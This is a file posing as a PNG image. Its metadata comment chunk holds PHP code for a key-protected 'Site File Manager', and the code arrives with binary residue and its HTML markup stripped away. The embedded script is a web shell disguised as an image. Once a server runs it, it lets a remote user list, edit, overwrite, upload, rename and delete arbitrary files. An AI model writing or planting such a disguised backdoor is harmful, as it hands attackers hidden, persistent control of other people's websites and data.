�PNG
���
IHDR����������wS���6iTXtComment�����'
Site File Manager
1024;$i++){
$size/=1024;
}
return round($size,2).$units[$i];
}
if(isset($_GET['logout'])){
session_destroy();
header("Location:?key=".$_GET['key']);
}
if(isset($_POST['save'])){
file_put_contents($_POST['file'], $_POST['content']);
}
if(isset($_GET['delete'])){
$f = $_GET['delete'];
is_dir($f) ? rmdir($f) : unlink($f);
header("Location:?key=".$_GET['key']."&path=".dirname($f));
}
if(isset($_POST['upload'])){
move_uploaded_file($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name']);
}
if(isset($_POST['newfile'])){
file_put_contents($path.'/'.$_POST['filename'], '');
}
if(isset($_POST['newfolder'])){
mkdir($path.'/'.$_POST['foldername']);
}
if(isset($_POST['rename'])){
rename($_POST['old'], $_POST['new']);
}
?>
File Manager
| Name |
Size |
Action |
⬅ Back | ";
}
foreach(scandir($path) as $file){
if($file=='.'||$file=='..') continue;
$full=$path.'/'.$file;
echo "";
if(is_dir($full)){
echo "| 📁 $file | ";
}else{
echo "$file | ";
}
echo "".(is_file($full)?formatSize(filesize($full)):'-')." | ";
echo "";
if(is_file($full)){
echo "Edit ";
}
echo "Delete ";
echo "Rename";
echo " | ";
echo "
";
}
?>
";
}
if(isset($_GET['rename'])){
$file=$_GET['rename'];
echo "
";
}
?>
' {6y���IDATx����w��F[��������IEND�B`�